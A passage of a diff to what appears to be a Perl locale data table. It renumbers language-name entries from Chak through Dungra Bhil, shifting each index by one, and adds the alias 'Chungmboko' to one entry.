+   q(1753) => [
       q(Chak),
       ],
-   q(1753) => [
+   q(1754) => [
       q(Cibak),
       ],
-   q(1754) => [
+   q(1755) => [
       q(Kaang Chin),
       ],
-   q(1755) => [
+   q(1756) => [
       q(Anufo),
       ],
-   q(1756) => [
+   q(1757) => [
       q(Kajakse),
       ],
-   q(1757) => [
+   q(1758) => [
       q(Kairak),
       ],
-   q(1758) => [
+   q(1759) => [
       q(Tayo),
       ],
-   q(1759) => [
+   q(1760) => [
       q(Chukot),
       ],
-   q(1760) => [
+   q(1761) => [
       q(Koasati),
       ],
-   q(1761) => [
+   q(1762) => [
       q(Kavalan),
       ],
-   q(1762) => [
+   q(1763) => [
       q(Caka),
       ],
-   q(1763) => [
+   q(1764) => [
       q(Cakfem-Mushere),
       ],
-   q(1764) => [
+   q(1765) => [
       q(Cakchiquel-Quiche Mixed Language),
       ],
-   q(1765) => [
+   q(1766) => [
       q(Ron),
       ],
-   q(1766) => [
+   q(1767) => [
       q(Chilcotin),
       ],
-   q(1767) => [
+   q(1768) => [
       q(Chaldean Neo-Aramaic),
       ],
-   q(1768) => [
+   q(1769) => [
       q(Lealao Chinantec),
       ],
-   q(1769) => [
+   q(1770) => [
       q(Chilisso),
       ],
-   q(1770) => [
+   q(1771) => [
       q(Chakali),
       ],
-   q(1771) => [
+   q(1772) => [
       q(Laitu Chin),
       ],
-   q(1772) => [
+   q(1773) => [
       q(Idu-Mishmi),
       ],
-   q(1773) => [
+   q(1774) => [
       q(Chala),
       ],
-   q(1774) => [
+   q(1775) => [
       q(Clallam),
       ],
-   q(1775) => [
+   q(1776) => [
       q(Lowland Oaxaca Chontal),
       ],
-   q(1776) => [
+   q(1777) => [
       q(Lautu Chin),
       ],
-   q(1777) => [
+   q(1778) => [
       q(Caluyanun),
       ],
-   q(1778) => [
+   q(1779) => [
       q(Chulym),
       ],
-   q(1779) => [
+   q(1780) => [
       q(Eastern Highland Chatino),
       ],
-   q(1780) => [
+   q(1781) => [
       q(Maa),
       ],
-   q(1781) => [
+   q(1782) => [
       q(Cerma),
       ],
-   q(1782) => [
+   q(1783) => [
       q(Classical Mongolian),
       ],
-   q(1783) => [
+   q(1784) => [
       q(Embera-Chami),
       ],
-   q(1784) => [
+   q(1785) => [
       q(Campalagian),
       ],
-   q(1785) => [
+   q(1786) => [
       q(Michigamea),
       ],
-   q(1786) => [
+   q(1787) => [
       q(Mandarin Chinese),
       ],
-   q(1787) => [
+   q(1788) => [
       q(Central Mnong),
       ],
-   q(1788) => [
+   q(1789) => [
       q(Mro-Khimi Chin),
       ],
-   q(1789) => [
+   q(1790) => [
       q(Messapic),
       ],
-   q(1790) => [
+   q(1791) => [
       q(Camtho),
       ],
-   q(1791) => [
+   q(1792) => [
       q(Changthang),
       ],
-   q(1792) => [
+   q(1793) => [
       q(Chinbon Chin),
       ],
-   q(1793) => [
+   q(1794) => [
       q(Coong),
       ],
-   q(1794) => [
+   q(1795) => [
       q(Northern Qiang),
       ],
-   q(1795) => [
+   q(1796) => [
       q(Hakha Chin),
       q(Haka Chin),
       ],
-   q(1796) => [
+   q(1797) => [
       q(Ashaninka),
       ],
-   q(1797) => [
+   q(1798) => [
       q(Khumi Chin),
       ],
-   q(1798) => [
+   q(1799) => [
       q(Lalana Chinantec),
       ],
-   q(1799) => [
+   q(1800) => [
       q(Con),
       ],
-   q(1800) => [
+   q(1801) => [
       q(Central Asmat),
       ],
-   q(1801) => [
+   q(1802) => [
       q(Tepetotutla Chinantec),
       ],
-   q(1802) => [
+   q(1803) => [
       q(Chenoua),
       ],
-   q(1803) => [
+   q(1804) => [
       q(Ngawn Chin),
       ],
-   q(1804) => [
+   q(1805) => [
       q(Middle Cornish),
       ],
-   q(1805) => [
+   q(1806) => [
       q(Cocos Islands Malay),
       ],
-   q(1806) => [
+   q(1807) => [
       q(Chicomuceltec),
       ],
-   q(1807) => [
+   q(1808) => [
       q(Cocopa),
       ],
-   q(1808) => [
+   q(1809) => [
       q(Cocama-Cocamilla),
       ],
-   q(1809) => [
+   q(1810) => [
       q(Koreguaje),
       ],
-   q(1810) => [
+   q(1811) => [
       q(Colorado),
       ],
-   q(1811) => [
+   q(1812) => [
       q(Chong),
       ],
-   q(1812) => [
+   q(1813) => [
       q(Chonyi-Dzihana-Kauma),
       q(Chichonyi-Chidzihana-Chikauma),
       ],
-   q(1813) => [
+   q(1814) => [
       q(Cochimi),
       ],
-   q(1814) => [
+   q(1815) => [
       q(Santa Teresa Cora),
       ],
-   q(1815) => [
+   q(1816) => [
       q(Columbia-Wenatchi),
       ],
-   q(1816) => [
+   q(1817) => [
       q(Comanche),
       ],
-   q(1817) => [
+   q(1818) => [
       q(Cofan),
       ],
-   q(1818) => [
+   q(1819) => [
       q(Comox),
       ],
-   q(1819) => [
+   q(1820) => [
       q(Coquille),
       ],
-   q(1820) => [
+   q(1821) => [
       q(Caquinte),
       ],
-   q(1821) => [
+   q(1822) => [
       q(Wamey),
       ],
-   q(1822) => [
+   q(1823) => [
       q(Cao Miao),
       ],
-   q(1823) => [
+   q(1824) => [
       q(Cowlitz),
       ],
-   q(1824) => [
+   q(1825) => [
       q(Nanti),
       ],
-   q(1825) => [
+   q(1826) => [
       q(Chochotec),
       ],
-   q(1826) => [
+   q(1827) => [
       q(Palantla Chinantec),
       ],
-   q(1827) => [
+   q(1828) => [
       q(Ucayali-Yurua Asheninka),
       ],
-   q(1828) => [
+   q(1829) => [
       q(Ajyininka Apurucayali),
       ],
-   q(1829) => [
+   q(1830) => [
       q(Cappadocian Greek),
       ],
-   q(1830) => [
+   q(1831) => [
       q(Chinese Pidgin English),
       ],
-   q(1831) => [
+   q(1832) => [
       q(Cherepon),
       ],
-   q(1832) => [
+   q(1833) => [
       q(Kpeego),
       ],
-   q(1833) => [
+   q(1834) => [
       q(Capiznon),
       ],
-   q(1834) => [
+   q(1835) => [
       q(Pichis Asheninka),
       ],
-   q(1835) => [
+   q(1836) => [
       q(Pu-Xian Chinese),
       ],
-   q(1836) => [
+   q(1837) => [
       q(South Ucayali Asheninka),
       ],
-   q(1837) => [
+   q(1838) => [
       q(Chuanqiandian Cluster Miao),
       ],
-   q(1838) => [
+   q(1839) => [
       q(Chara),
       ],
-   q(1839) => [
+   q(1840) => [
       q(Island Carib),
       ],
-   q(1840) => [
+   q(1841) => [
       q(Lonwolwol),
       ],
-   q(1841) => [
+   q(1842) => [
       q(Coeur d'Alene),
       ],
-   q(1842) => [
+   q(1843) => [
       q(Caramanta),
       ],
-   q(1843) => [
+   q(1844) => [
       q(Michif),
       ],
-   q(1844) => [
+   q(1845) => [
       q(Saotomense),
       ],
-   q(1845) => [
+   q(1846) => [
       q(Southern East Cree),
       ],
-   q(1846) => [
+   q(1847) => [
       q(Plains Cree),
       ],
-   q(1847) => [
+   q(1848) => [
       q(Northern East Cree),
       ],
-   q(1848) => [
+   q(1849) => [
       q(Moose Cree),
       ],
-   q(1849) => [
+   q(1850) => [
       q(El Nayar Cora),
       ],
-   q(1850) => [
+   q(1851) => [
       q(Crow),
       ],
-   q(1851) => [
+   q(1852) => [
       q(Iyo'wujwa Chorote),
       ],
-   q(1852) => [
+   q(1853) => [
       q(Carolina Algonquian),
       ],
-   q(1853) => [
+   q(1854) => [
       q(Seselwa Creole French),
       ],
-   q(1854) => [
+   q(1855) => [
       q(Iyojwa'ja Chorote),
       ],
-   q(1855) => [
+   q(1856) => [
       q(Chaura),
       ],
-   q(1856) => [
+   q(1857) => [
       q(Chrau),
       ],
-   q(1857) => [
+   q(1858) => [
       q(Carrier),
       ],
-   q(1858) => [
+   q(1859) => [
       q(Cori),
       ],
-   q(1859) => [
+   q(1860) => [
       q(Cruzeno),
       ],
-   q(1860) => [
+   q(1861) => [
       q(Chiltepec Chinantec),
       ],
-   q(1861) => [
+   q(1862) => [
       q(Catalan Sign Language),
       q(Lengua de senas catalana),
       q(Llengua de Signes Catalana),
       ],
-   q(1862) => [
+   q(1863) => [
       q(Chiangmai Sign Language),
       ],
-   q(1863) => [
+   q(1864) => [
       q(Czech Sign Language),
       ],
-   q(1864) => [
+   q(1865) => [
       q(Cuba Sign Language),
       ],
-   q(1865) => [
+   q(1866) => [
       q(Chilean Sign Language),
       ],
-   q(1866) => [
+   q(1867) => [
       q(Asho Chin),
       ],
-   q(1867) => [
+   q(1868) => [
       q(Coast Miwok),
       ],
-   q(1868) => [
+   q(1869) => [
       q(Songlai Chin),
       ],
-   q(1869) => [
+   q(1870) => [
       q(Jola-Kasa),
       ],
-   q(1870) => [
+   q(1871) => [
       q(Chinese Sign Language),
       ],
-   q(1871) => [
+   q(1872) => [
       q(Central Sierra Miwok),
       ],
-   q(1872) => [
+   q(1873) => [
       q(Colombian Sign Language),
       ],
-   q(1873) => [
+   q(1874) => [
       q(Sochiapam Chinantec),
       q(Sochiapan Chinantec),
       ],
-   q(1874) => [
+   q(1875) => [
       q(Croatia Sign Language),
       ],
-   q(1875) => [
+   q(1876) => [
       q(Costa Rican Sign Language),
       ],
-   q(1876) => [
+   q(1877) => [
       q(Southern Ohlone),
       ],
-   q(1877) => [
+   q(1878) => [
       q(Northern Ohlone),
       ],
-   q(1878) => [
+   q(1879) => [
       q(Sumtu Chin),
       ],
-   q(1879) => [
+   q(1880) => [
       q(Swampy Cree),
       ],
-   q(1880) => [
+   q(1881) => [
       q(Siyin Chin),
       ],
-   q(1881) => [
+   q(1882) => [
       q(Coos),
       ],
-   q(1882) => [
+   q(1883) => [
       q(Tataltepec Chatino),
       ],
-   q(1883) => [
+   q(1884) => [
       q(Chetco),
       ],
-   q(1884) => [
+   q(1885) => [
       q(Tedim Chin),
       ],
-   q(1885) => [
+   q(1886) => [
       q(Tepinapa Chinantec),
       ],
-   q(1886) => [
+   q(1887) => [
       q(Chittagonian),
       ],
-   q(1887) => [
+   q(1888) => [
       q(Thaiphum Chin),
       ],
-   q(1888) => [
+   q(1889) => [
       q(Tlacoatzintepec Chinantec),
       ],
-   q(1889) => [
+   q(1890) => [
       q(Chitimacha),
       ],
-   q(1890) => [
+   q(1891) => [
       q(Chhintange),
       ],
-   q(1891) => [
+   q(1892) => [
       q(Embera-Catio),
       ],
-   q(1892) => [
+   q(1893) => [
       q(Western Highland Chatino),
       ],
-   q(1893) => [
+   q(1894) => [
       q(Northern Catanduanes Bikol),
       ],
-   q(1894) => [
+   q(1895) => [
       q(Wayanad Chetti),
       ],
-   q(1895) => [
+   q(1896) => [
       q(Chol),
       ],
-   q(1896) => [
+   q(1897) => [
       q(Zacatepec Chatino),
       ],
-   q(1897) => [
+   q(1898) => [
       q(Cua),
       ],
-   q(1898) => [
+   q(1899) => [
       q(Cubeo),
       ],
-   q(1899) => [
+   q(1900) => [
       q(Usila Chinantec),
       ],
-   q(1900) => [
+   q(1901) => [
+      q(Chungmboko),
       q(Cung),
       ],
-   q(1901) => [
+   q(1902) => [
       q(Chuka),
       q(Gichuka),
       ],
-   q(1902) => [
+   q(1903) => [
       q(Cuiba),
       ],
-   q(1903) => [
+   q(1904) => [
       q(Mashco Piro),
       ],
-   q(1904) => [
+   q(1905) => [
       q(San Blas Kuna),
       ],
-   q(1905) => [
+   q(1906) => [
       q(Culina),
       q(Kulina),
       ],
-   q(1906) => [
+   q(1907) => [
       q(Cumanagoto),
       ],
-   q(1907) => [
+   q(1908) => [
       q(Cupeno),
       ],
-   q(1908) => [
+   q(1909) => [
       q(Cun),
       ],
-   q(1909) => [
+   q(1910) => [
       q(Chhulung),
       ],
-   q(1910) => [
+   q(1911) => [
       q(Teutila Cuicatec),
       ],
-   q(1911) => [
+   q(1912) => [
       q(Tai Ya),
       ],
-   q(1912) => [
+   q(1913) => [
       q(Cuvok),
       ],
-   q(1913) => [
+   q(1914) => [
       q(Chukwa),
       ],
-   q(1914) => [
+   q(1915) => [
       q(Tepeuxila Cuicatec),
       ],
-   q(1915) => [
+   q(1916) => [
       q(Chug),
       ],
-   q(1916) => [
+   q(1917) => [
       q(Valle Nacional Chinantec),
       ],
-   q(1917) => [
+   q(1918) => [
       q(Kabwa),
       ],
-   q(1918) => [
+   q(1919) => [
       q(Maindo),
       ],
-   q(1919) => [
+   q(1920) => [
       q(Woods Cree),
       ],
-   q(1920) => [
+   q(1921) => [
       q(Kwere),
       ],
-   q(1921) => [
+   q(1922) => [
       q(Chewong),
       q(Cheq Wong),
       ],
-   q(1922) => [
+   q(1923) => [
       q(Kuwaataay),
       ],
-   q(1923) => [
+   q(1924) => [
       q(Nopala Chatino),
       ],
-   q(1924) => [
+   q(1925) => [
       q(Cayubaba),
       ],
-   q(1925) => [
+   q(1926) => [
       q(Cuyonon),
       ],
-   q(1926) => [
+   q(1927) => [
       q(Huizhou Chinese),
       ],
-   q(1927) => [
+   q(1928) => [
       q(Knaanic),
       ],
-   q(1928) => [
+   q(1929) => [
       q(Zenzontepec Chatino),
       ],
-   q(1929) => [
+   q(1930) => [
       q(Min Zhong Chinese),
       ],
-   q(1930) => [
+   q(1931) => [
       q(Zotung Chin),
       ],
-   q(1931) => [
+   q(1932) => [
       q(Dangaleat),
       ],
-   q(1932) => [
+   q(1933) => [
       q(Dambi),
       ],
-   q(1933) => [
+   q(1934) => [
       q(Marik),
       ],
-   q(1934) => [
+   q(1935) => [
       q(Duupa),
       ],
-   q(1935) => [
+   q(1936) => [
       q(Dagbani),
       ],
-   q(1936) => [
+   q(1937) => [
       q(Gwahatike),
       ],
-   q(1937) => [
+   q(1938) => [
       q(Day),
       ],
-   q(1938) => [
+   q(1939) => [
       q(Dar Fur Daju),
       ],
-   q(1939) => [
+   q(1940) => [
       q(Dahalo),
       ],
-   q(1940) => [
+   q(1941) => [
       q(Damakawa),
       ],
-   q(1941) => [
+   q(1942) => [
       q(Daai Chin),
       ],
-   q(1942) => [
+   q(1943) => [
       q(Dandami Maria),
       ],
-   q(1943) => [
+   q(1944) => [
       q(Daho-Doo),
       ],
-   q(1944) => [
+   q(1945) => [
       q(Dar Sila Daju),
       ],
-   q(1945) => [
+   q(1946) => [
       q(Taita),
       q(Dawida),
       ],
-   q(1946) => [
+   q(1947) => [
       q(Davawenyo),
       ],
-   q(1947) => [
+   q(1948) => [
       q(Dayi),
       ],
-   q(1948) => [
+   q(1949) => [
       q(Dao),
       ],
-   q(1949) => [
+   q(1950) => [
       q(Bangime),
       ],
-   q(1950) => [
+   q(1951) => [
       q(Deno),
       ],
-   q(1951) => [
+   q(1952) => [
       q(Dadiya),
       ],
-   q(1952) => [
+   q(1953) => [
       q(Dabe),
       ],
-   q(1953) => [
+   q(1954) => [
       q(Edopi),
       ],
-   q(1954) => [
+   q(1955) => [
       q(Dogul Dom Dogon),
       ],
-   q(1955) => [
+   q(1956) => [
       q(Doka),
       ],
-   q(1956) => [
+   q(1957) => [
       q(Ida'an),
       ],
-   q(1957) => [
+   q(1958) => [
       q(Dyirbal),
       ],
-   q(1958) => [
+   q(1959) => [
       q(Duguri),
       ],
-   q(1959) => [
+   q(1960) => [
       q(Duriankere),
       ],
-   q(1960) => [
+   q(1961) => [
       q(Dulbu),
       ],
-   q(1961) => [
+   q(1962) => [
       q(Duwai),
       ],
-   q(1962) => [
+   q(1963) => [
       q(Daba),
       ],
-   q(1963) => [
+   q(1964) => [
       q(Dabarre),
       ],
-   q(1964) => [
+   q(1965) => [
       q(Ben Tey Dogon),
       ],
-   q(1965) => [
+   q(1966) => [
       q(Bondum Dom Dogon),
       ],
-   q(1966) => [
+   q(1967) => [
       q(Dungu),
       ],
-   q(1967) => [
+   q(1968) => [
       q(Bankan Tey Dogon),
       ],
-   q(1968) => [
+   q(1969) => [
       q(Dibiyaso),
       ],
-   q(1969) => [
+   q(1970) => [
       q(Deccan),
       ],
-   q(1970) => [
+   q(1971) => [
       q(Negerhollands),
       ],
-   q(1971) => [
+   q(1972) => [
       q(Dadi Dadi),
       ],
-   q(1972) => [
+   q(1973) => [
       q(Dongotono),
       ],
-   q(1973) => [
+   q(1974) => [
       q(Doondo),
       ],
-   q(1974) => [
+   q(1975) => [
       q(Fataluku),
       ],
-   q(1975) => [
+   q(1976) => [
       q(West Goodenough),
       ],
-   q(1976) => [
+   q(1977) => [
       q(Jaru),
       ],
-   q(1977) => [
+   q(1978) => [
       q(Dendi (Benin)),
       ],
-   q(1978) => [
+   q(1979) => [
       q(Dido),
       ],
-   q(1979) => [
+   q(1980) => [
       q(Dhudhuroa),
       ],
-   q(1980) => [
+   q(1981) => [
       q(Donno So Dogon),
       ],
-   q(1981) => [
+   q(1982) => [
       q(Dawera-Daweloor),
       ],
-   q(1982) => [
+   q(1983) => [
       q(Dagik),
       ],
-   q(1983) => [
+   q(1984) => [
       q(Dedua),
       ],
-   q(1984) => [
+   q(1985) => [
       q(Dewoin),
       ],
-   q(1985) => [
+   q(1986) => [
       q(Dezfuli),
       ],
-   q(1986) => [
+   q(1987) => [
       q(Degema),
       ],
-   q(1987) => [
+   q(1988) => [
       q(Dehwari),
       ],
-   q(1988) => [
+   q(1989) => [
       q(Demisa),
       ],
-   q(1989) => [
+   q(1990) => [
       q(Dek),
       ],
-   q(1990) => [
+   q(1991) => [
       q(Dem),
       ],
-   q(1991) => [
+   q(1992) => [
       q(Pidgin Delaware),
       ],
-   q(1992) => [
+   q(1993) => [
       q(Dendi (Central African Republic)),
       ],
-   q(1993) => [
+   q(1994) => [
       q(Deori),
       ],
-   q(1994) => [
+   q(1995) => [
       q(Desano),
       ],
-   q(1995) => [
+   q(1996) => [
       q(Domung),
       ],
-   q(1996) => [
+   q(1997) => [
       q(Dengese),
       ],
-   q(1997) => [
+   q(1998) => [
       q(Southern Dagaare),
       ],
-   q(1998) => [
+   q(1999) => [
       q(Bunoge Dogon),
       ],
-   q(1999) => [
+   q(2000) => [
       q(Casiguran Dumagat Agta),
       ],
-   q(2000) => [
+   q(2001) => [
       q(Dagaari Dioula),
       ],
-   q(2001) => [
+   q(2002) => [
       q(Degenan),
       ],
-   q(2002) => [
+   q(2003) => [
       q(Doga),
       ],
-   q(2003) => [
+   q(2004) => [
       q(Dghwede),
       ],
-   q(2004) => [
+   q(2005) => [
       q(Northern Dagara),
       ],
-   q(2005) => [
+   q(2006) => [
       q(Dagba),
       ],
-   q(2006) => [
+   q(2007) => [
       q(Andaandi),
       q(Dongolawi),
       ],
-   q(2007) => [
+   q(2008) => [
       q(Dagoman),
       ],
-   q(2008) => [
+   q(2009) => [
       q(Dogri (individual language)),
       ],
-   q(2009) => [
+   q(2010) => [
       q(Dogoso),
       ],
-   q(2010) => [
+   q(2011) => [
       q(Ndra'ngith),
       ],
-   q(2011) => [
+   q(2012) => [
       q(Degaru),
       ],
-   q(2012) => [
+   q(2013) => [
       q(Daungwurrung),
       ],
-   q(2013) => [
+   q(2014) => [
       q(Doghoro),
       ],
-   q(2014) => [
+   q(2015) => [
       q(Daga),
       ],
-   q(2015) => [
+   q(2016) => [
       q(Dhundari),
       ],
-   q(2016) => [
+   q(2017) => [
       q(Dhangu-Djangu),
       q(Dhangu),
       q(Djangu),
       ],
-   q(2017) => [
+   q(2018) => [
       q(Dhimal),
       ],
-   q(2018) => [
+   q(2019) => [
       q(Dhalandji),
       ],
-   q(2019) => [
+   q(2020) => [
       q(Zemba),
       ],
-   q(2020) => [
+   q(2021) => [
       q(Dhanki),
       ],
-   q(2021) => [
+   q(2022) => [
       q(Dhodia),
       ],
-   q(2022) => [
+   q(2023) => [
       q(Dhargari),
       ],
-   q(2023) => [
+   q(2024) => [
       q(Dhaiso),
       ],
-   q(2024) => [
+   q(2025) => [
       q(Dhurga),
       ],
-   q(2025) => [
+   q(2026) => [
       q(Dehu),
       q(Drehu),
       ],
-   q(2026) => [
+   q(2027) => [
       q(Dhanwar (Nepal)),
       ],
-   q(2027) => [
+   q(2028) => [
       q(Dhungaloo),
       ],
-   q(2028) => [
+   q(2029) => [
       q(Dia),
       ],
-   q(2029) => [
+   q(2030) => [
       q(South Central Dinka),
       ],
-   q(2030) => [
+   q(2031) => [
       q(Lakota Dida),
       ],
-   q(2031) => [
+   q(2032) => [
       q(Didinga),
       ],
-   q(2032) => [
+   q(2033) => [
       q(Dieri),
       ],
-   q(2033) => [
+   q(2034) => [
       q(Digo),
       q(Chidigo),
       ],
-   q(2034) => [
+   q(2035) => [
       q(Kumiai),
       ],
-   q(2035) => [
+   q(2036) => [
       q(Dimbong),
       ],
-   q(2036) => [
+   q(2037) => [
       q(Dai),
       ],
-   q(2037) => [
+   q(2038) => [
       q(Southwestern Dinka),
       ],
-   q(2038) => [
+   q(2039) => [
       q(Dilling),
       ],
-   q(2039) => [
+   q(2040) => [
       q(Dime),
       ],
-   q(2040) => [
+   q(2041) => [
       q(Dibo),
       ],
-   q(2041) => [
+   q(2042) => [
       q(Northeastern Dinka),
       ],
-   q(2042) => [
+   q(2043) => [
       q(Dimli (individual language)),
       ],
-   q(2043) => [
+   q(2044) => [
       q(Dirim),
       ],
-   q(2044) => [
+   q(2045) => [
       q(Dimasa),
       ],
-   q(2045) => [
+   q(2046) => [
       q(Dirari),
       ],
-   q(2046) => [
+   q(2047) => [
       q(Diriku),
       ],
-   q(2047) => [
+   q(2048) => [
       q(Northwestern Dinka),
       ],
-   q(2048) => [
+   q(2049) => [
       q(Dixon Reef),
       ],
-   q(2049) => [
+   q(2050) => [
       q(Diuwe),
       ],
-   q(2050) => [
+   q(2051) => [
       q(Ding),
       ],
-   q(2051) => [
+   q(2052) => [
       q(Djadjawurrung),
       ],
-   q(2052) => [
+   q(2053) => [
       q(Djinba),
       ],
-   q(2053) => [
+   q(2054) => [
       q(Dar Daju Daju),
       ],
-   q(2054) => [
+   q(2055) => [
       q(Djamindjung),
       ],
-   q(2055) => [
+   q(2056) => [
       q(Zarma),
       ],
-   q(2056) => [
+   q(2057) => [
       q(Djangun),
       ],
-   q(2057) => [
+   q(2058) => [
       q(Djinang),
       ],
-   q(2058) => [
+   q(2059) => [
       q(Djeebbana),
       ],
-   q(2059) => [
+   q(2060) => [
       q(Eastern Maroon Creole),
       q(Businenge Tongo),
       q(Nenge),
       ],
-   q(2060) => [
+   q(2061) => [
       q(Jamsay Dogon),
       ],
-   q(2061) => [
+   q(2062) => [
       q(Djauan),
       ],
-   q(2062) => [
+   q(2063) => [
       q(Jangkang),
       ],
-   q(2063) => [
+   q(2064) => [
       q(Djambarrpuyngu),
       ],
-   q(2064) => [
+   q(2065) => [
       q(Kapriman),
       ],
-   q(2065) => [
+   q(2066) => [
       q(Djawi),
       ],
-   q(2066) => [
+   q(2067) => [
       q(Dakpakha),
       ],
-   q(2067) => [
+   q(2068) => [
       q(Dakka),
       ],
-   q(2068) => [
+   q(2069) => [
       q(Kuijau),
       ],
-   q(2069) => [
+   q(2070) => [
       q(Southeastern Dinka),
       ],
-   q(2070) => [
+   q(2071) => [
       q(Mazagway),
       ],
-   q(2071) => [
+   q(2072) => [
       q(Dolgan),
       ],
-   q(2072) => [
+   q(2073) => [
       q(Dahalik),
       ],
-   q(2073) => [
+   q(2074) => [
       q(Dalmatian),
       ],
-   q(2074) => [
+   q(2075) => [
       q(Darlong),
       ],
-   q(2075) => [
+   q(2076) => [
       q(Duma),
       ],
-   q(2076) => [
+   q(2077) => [
       q(Mombo Dogon),
       ],
-   q(2077) => [
+   q(2078) => [
       q(Gavak),
       ],
-   q(2078) => [
+   q(2079) => [
       q(Madhi Madhi),
       ],
-   q(2079) => [
+   q(2080) => [
       q(Dugwor),
       ],
-   q(2080) => [
+   q(2081) => [
       q(Upper Kinabatangan),
       ],
-   q(2081) => [
+   q(2082) => [
       q(Domaaki),
       ],
-   q(2082) => [
+   q(2083) => [
       q(Dameli),
       ],
-   q(2083) => [
+   q(2084) => [
       q(Dama),
       ],
-   q(2084) => [
+   q(2085) => [
       q(Kemedzung),
       ],
-   q(2085) => [
+   q(2086) => [
       q(East Damar),
       ],
-   q(2086) => [
+   q(2087) => [
       q(Dampelas),
       ],
-   q(2087) => [
+   q(2088) => [
       q(Dubu),
       q(Tebi),
       ],
-   q(2088) => [
+   q(2089) => [
       q(Dumpas),
       ],
-   q(2089) => [
+   q(2090) => [
       q(Mudburra),
       ],
-   q(2090) => [
+   q(2091) => [
       q(Dema),
       ],
-   q(2091) => [
+   q(2092) => [
       q(Demta),
       q(Sowari),
       ],
-   q(2092) => [
+   q(2093) => [
       q(Upper Grand Valley Dani),
       ],
-   q(2093) => [
+   q(2094) => [
       q(Daonda),
       ],
-   q(2094) => [
+   q(2095) => [
       q(Ndendeule),
       ],
-   q(2095) => [
+   q(2096) => [
       q(Dungan),
       ],
-   q(2096) => [
+   q(2097) => [
       q(Lower Grand Valley Dani),
       ],
-   q(2097) => [
+   q(2098) => [
       q(Dan),
       ],
-   q(2098) => [
+   q(2099) => [
       q(Dengka),
       ],
-   q(2099) => [
+   q(2100) => [
       q(Dzuungoo),
       ],
-   q(2100) => [
+   q(2101) => [
       q(Danaru),
       ],
-   q(2101) => [
+   q(2102) => [
       q(Mid Grand Valley Dani),
       ],
-   q(2102) => [
+   q(2103) => [
       q(Danau),
       ],
-   q(2103) => [
+   q(2104) => [
       q(Danu),
       ],
-   q(2104) => [
+   q(2105) => [
       q(Western Dani),
       ],
-   q(2105) => [
+   q(2106) => [
       q(Deni),
       ],
-   q(2106) => [
+   q(2107) => [
       q(Dom),
       ],
-   q(2107) => [
+   q(2108) => [
       q(Dobu),
       ],
-   q(2108) => [
+   q(2109) => [
       q(Northern Dong),
       ],
-   q(2109) => [
+   q(2110) => [
       q(Doe),
       ],
-   q(2110) => [
+   q(2111) => [
       q(Domu),
       ],
-   q(2111) => [
+   q(2112) => [
       q(Dong),
       ],
-   q(2112) => [
+   q(2113) => [
       q(Dondo),
       ],
-   q(2113) => [
+   q(2114) => [
       q(Doso),
       ],
-   q(2114) => [
+   q(2115) => [
       q(Toura (Papua New Guinea)),
       ],
-   q(2115) => [
+   q(2116) => [
       q(Dongo),
       ],
-   q(2116) => [
+   q(2117) => [
       q(Lukpa),
       ],
-   q(2117) => [
+   q(2118) => [
       q(Dominican Sign Language),
       ],
-   q(2118) => [
+   q(2119) => [
       q(Dori'o),
       ],
-   q(2119) => [
+   q(2120) => [
       q(Dogose),
       ],
-   q(2120) => [
+   q(2121) => [
       q(Dass),
       ],
-   q(2121) => [
+   q(2122) => [
       q(Dombe),
       ],
-   q(2122) => [
+   q(2123) => [
       q(Doyayo),
       ],
-   q(2123) => [
+   q(2124) => [
       q(Bussa),
       ],
-   q(2124) => [
+   q(2125) => [
       q(Dompo),
       ],
-   q(2125) => [
+   q(2126) => [
       q(Dorze),
       ],
-   q(2126) => [
+   q(2127) => [
       q(Papar),
       ],
-   q(2127) => [
+   q(2128) => [
       q(Dair),
       ],
-   q(2128) => [
+   q(2129) => [
       q(Minderico),
       ],
-   q(2129) => [
+   q(2130) => [
       q(Darmiya),
       ],
-   q(2130) => [
+   q(2131) => [
       q(Dolpo),
       ],
-   q(2131) => [
+   q(2132) => [
       q(Rungus),
       ],
-   q(2132) => [
+   q(2133) => [
       q(C'Lela),
       ],
-   q(2133) => [
+   q(2134) => [
       q(Paakantyi),
       ],
-   q(2134) => [
+   q(2135) => [
       q(West Damar),
       ],
-   q(2135) => [
+   q(2136) => [
       q(Daro-Matu Melanau),
       ],
-   q(2136) => [
+   q(2137) => [
       q(Dura),
       ],
-   q(2137) => [
+   q(2138) => [
       q(Dororo),
       ],
-   q(2138) => [
+   q(2139) => [
       q(Gedeo),
       ],
-   q(2139) => [
+   q(2140) => [
       q(Drents),
       ],
-   q(2140) => [
+   q(2141) => [
       q(Rukai),
       ],
-   q(2141) => [
+   q(2142) => [
       q(Darai),
       ],
-   q(2142) => [
+   q(2143) => [
       q(Dutch Sign Language),
       ],
-   q(2143) => [
+   q(2144) => [
       q(Daasanach),
       ],
-   q(2144) => [
+   q(2145) => [
       q(Disa),
       ],
-   q(2145) => [
+   q(2146) => [
       q(Danish Sign Language),
       ],
-   q(2146) => [
+   q(2147) => [
       q(Dusner),
       ],
-   q(2147) => [
+   q(2148) => [
       q(Desiya),
       ],
-   q(2148) => [
+   q(2149) => [
       q(Tadaksahak),
       ],
-   q(2149) => [
+   q(2150) => [
       q(Daur),
       ],
-   q(2150) => [
+   q(2151) => [
       q(Labuk-Kinabatangan Kadazan),
       ],
-   q(2151) => [
+   q(2152) => [
       q(Ditidaht),
       ],
-   q(2152) => [
+   q(2153) => [
       q(Adithinngithigh),
       ],
-   q(2153) => [
+   q(2154) => [
       q(Ana Tinga Dogon),
       ],
-   q(2154) => [
+   q(2155) => [
       q(Tene Kan Dogon),
       ],
-   q(2155) => [
+   q(2156) => [
       q(Tomo Kan Dogon),
       ],
-   q(2156) => [
+   q(2157) => [
       q(Daats'iin),
       ],
-   q(2157) => [
+   q(2158) => [
       q(Tommo So Dogon),
       ],
-   q(2158) => [
+   q(2159) => [
       q(Kadazan Dusun),
       q(Central Dusun),
       ],
-   q(2159) => [
+   q(2160) => [
       q(Lotud),
       ],
-   q(2160) => [
+   q(2161) => [
       q(Toro So Dogon),
       ],
-   q(2161) => [
+   q(2162) => [
       q(Toro Tegu Dogon),
       ],
-   q(2162) => [
+   q(2163) => [
       q(Tebul Ure Dogon),
       ],
-   q(2163) => [
+   q(2164) => [
       q(Dotyali),
       ],
-   q(2164) => [
+   q(2165) => [
       q(Dubli),
       ],
-   q(2165) => [
+   q(2166) => [
       q(Duna),
       ],
-   q(2166) => [
+   q(2167) => [
       q(Hun-Saare),
       ],
-   q(2167) => [
+   q(2168) => [
       q(Umiray Dumaget Agta),
       ],
-   q(2168) => [
+   q(2169) => [
       q(Dumbea),
       q(Drubea),
       ],
-   q(2169) => [
+   q(2170) => [
       q(Duruma),
       q(Chiduruma),
       ],
-   q(2170) => [
+   q(2171) => [
       q(Dungra Bhil),
